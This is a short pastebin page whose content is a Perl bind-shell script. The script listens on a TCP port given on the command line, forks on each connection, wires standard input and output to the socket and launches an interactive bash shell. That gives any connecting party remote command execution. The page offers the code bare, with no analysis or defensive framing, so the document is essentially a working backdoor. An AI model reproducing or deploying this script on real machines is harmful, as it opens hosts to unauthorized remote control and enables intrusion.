- #!/usr/bin/perl
- $SHELL="/bin/bash -i";
- if (@ARGV < 1) { exit(1); }
- $LISTEN_PORT=$ARGV[0];
- use Socket;
- $protocol=getprotobyname('tcp');
- socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socketn";
- setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
- bind(S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open portn";
- listen(S,3) || die "Cant listen portn";
- while(1)
- {
- accept(CONN,S);
- if(!($pid=fork))
- {
- die "Cannot fork" if (!defined $pid);
- open STDIN,"<&CONN";
- open STDOUT,">&CONN";
- open STDERR,">&CONN";
- exec $SHELL || die print CONN "Cant execute $SHELLn";
- close CONN;
- exit 0;
- }
- }
kaak
By: Arie | Date: Apr 23 2007 09:10 | Format: None | Expires: never | Size: 614 B | Hits: 1468
Latest pastes
1 hours ago
11 hours ago
1 days ago
2 days ago
2 days ago